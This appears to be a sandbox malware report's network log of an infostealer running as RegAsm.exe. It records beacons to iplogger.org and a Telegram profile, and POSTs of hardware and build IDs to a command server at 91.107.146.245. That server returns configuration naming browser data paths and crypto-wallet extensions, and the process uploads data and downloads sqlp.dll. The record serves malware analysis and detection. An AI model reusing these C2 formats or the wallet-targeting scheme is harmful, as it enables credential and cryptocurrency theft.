2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 83 10 88 44 89 dc f2 d9 c3 76 47 82 26 f7 eb 29 e3 b3 70 4c 84 47 29 f9 ce 26 da a8 60 1f 95 09 c8 16 00 28 eb 45 b1 d6 14 4e d4 3e dd 1a ee ab fe 4d d6 f8 59 6e e7 3b 1a f8 eb 81 b6 a1 ab f0 26 21 a0 21 73 bb 18 99 9d e8 3f e7 36 27 63 95 73 d1 57 64 49 01 61 05 7a b9 68 1e 18 0e b8 f2 81 cb 92 01 63 23 39 d5 7a 34 4f 70 72 6e 92 26 6b 1c 6f 8f e6 bf ca 69 8a 9f 44 6d a2 2a 42 83 20 c8 2d cc f9 fe 95 61 24 99 bd 23 c9 4d 19 37 c8 6f 99 07 6e e0 f2 f1 9b 70 9d 9c 9d 1f 10 72 9a fe 35 75 4b 8f 81 fc a8 c8 e5 ed 54 66 20 0e e9 04 7b dc 1e 2e f9 2d c6 8a 6c 5d d5 67 19 f2 9f 76 f0 db 36 94 d5 d8 87 9f 41 d9 43 40 84 15 5c c3 50 14 6c a1 21 df 1b 20 eb b7 ba 76 41 dc e4 8d 17 ee 81 50 12 c1 9c f1 a3 d3 88 e6 33 89 3d 42 37 96 61 47 6e 5a 93 8a 80 c1 29 da f5 Data Ascii: DvG&)pLG)&`(EN>MYn;&!!s?6'csWdIazhc#9z4Oprn&koiDm*B -a$#M7onpr5uKTf {.-l]gv6AC@\Pl! vAP3=B7aGnZ)
2024-09-18 12:30:11 UTC	8000	IN	Data Raw: 37 59 6b a1 4f 2d 2d 6f 7e bc 0d 73 df c6 5b 0f fb 61 9d 76 11 20 78 0f db 5f d3 4c 2c 04 00 1d 54 9b 35 91 67 d2 97 9e 19 60 77 e5 06 01 48 86 9f 70 66 55 d0 e1 f2 d9 77 c1 ff b5 dd 27 5a 97 a2 b7 1b c5 c4 c0 28 2a f7 27 88 70 17 44 91 b0 a9 4f 29 a5 f8 64 ee b8 7c a8 53 4e 6c 8a 90 87 dd bb 36 d3 0a 65 33 91 1d 06 29 3d ba 02 9b 12 65 5f 44 ab d9 e6 d9 89 f6 d0 62 d0 a1 cf 34 19 ad dd 72 43 87 e2 e6 e6 1b 3e 20 85 9b 50 2d 89 d6 39 b1 45 82 01 13 69 97 38 f6 9b 84 42 c2 f2 a6 cd 71 07 41 5b 70 c5 92 5c d1 14 97 ed 73 d5 58 88 2b 4e f6 63 30 00 e1 52 ad d7 70 5e 2f 63 54 1a bc 41 47 a4 4a 7e bd a6 80 f8 86 c6 08 3c cc 7c 0e d5 5d 23 e8 47 b8 03 05 7f 2f f6 30 f6 cd 22 4a 1c a3 e9 b0 73 4c 9e 55 5e f6 af e4 bf 53 23 bd 73 09 c1 6a 61 8c 64 12 e4 e2 9a a9 Data Ascii: 7YkO--o~s[av x_L,T5g`wHpfUw'Z(*'pDO)d\|SNl6e3)=e_Db4rC> P-9Ei8BqA[p\sX+Nc0Rp^/cTAGJ~<\|]#G/0"JsLU^S#sjad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49729	104.26.3.46	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:25 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
2024-09-18 12:30:25 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:25 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.4308929443359375 expires: Wed, 18 Sep 2024 12:30:25 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Thu, 18 Sep 2025 12:30:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Thu, 18 Sep 2025 12:30:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3GaqIdDuDqYD03Rtq1hAmrQVwhDr2rETbdjIo4at7E9iCSrqx5Xrj05vj229F5spCFY8pq%2F0ri7K6ZR97ekXCfU9GSjRSDHOo3sCw0mlZJY7ufl64DrMlmOl36PuqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c5158dfe974425f-EWR
2024-09-18 12:30:25 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-09-18 12:30:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49732	149.154.167.99	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:32 UTC	84	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:32 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Sep 2024 12:30:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12291 Connection: close Set-Cookie: stel_ssid=9e01edb38618f1c582_17837654898556210764; expires=Thu, 19 Sep 2024 12:30:32 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-18 12:30:32 UTC	12291	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49735	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:34 UTC	234	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49737	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:36 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:36 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 35 45 39 32 41 32 46 44 41 35 31 39 31 35 33 33 34 32 33 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="hwid"445E92A2FDA51915334237-a33c7340-61ca------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------HCFBFBAEBKJKEBGCAEHC--
2024-09-18 12:30:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:36 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|780654a952f5c530427f0df6cb3c1611\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49739	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:38 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:38 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------DAKJDAAFBKFHIEBFCFBKCont
2024-09-18 12:30:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:39 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49740	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:40 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:40 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------GHDHDGHJEBGIDGDGIJJKCont
2024-09-18 12:30:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:41 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49741	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:42 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:42 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------IDBKFHJEBAAEBGDGDBFBContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IDBKFHJEBAAEBGDGDBFBCont
2024-09-18 12:30:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:42 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49748	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:45 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHII User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 5981 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:45 UTC	5981	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 Data Ascii: ------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IECFHDBAAECAAKFHDHIICont
2024-09-18 12:30:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:46 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49753	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:46 UTC	242	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:47 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:46 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:30:46 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:30:47 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-18 12:30:47 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
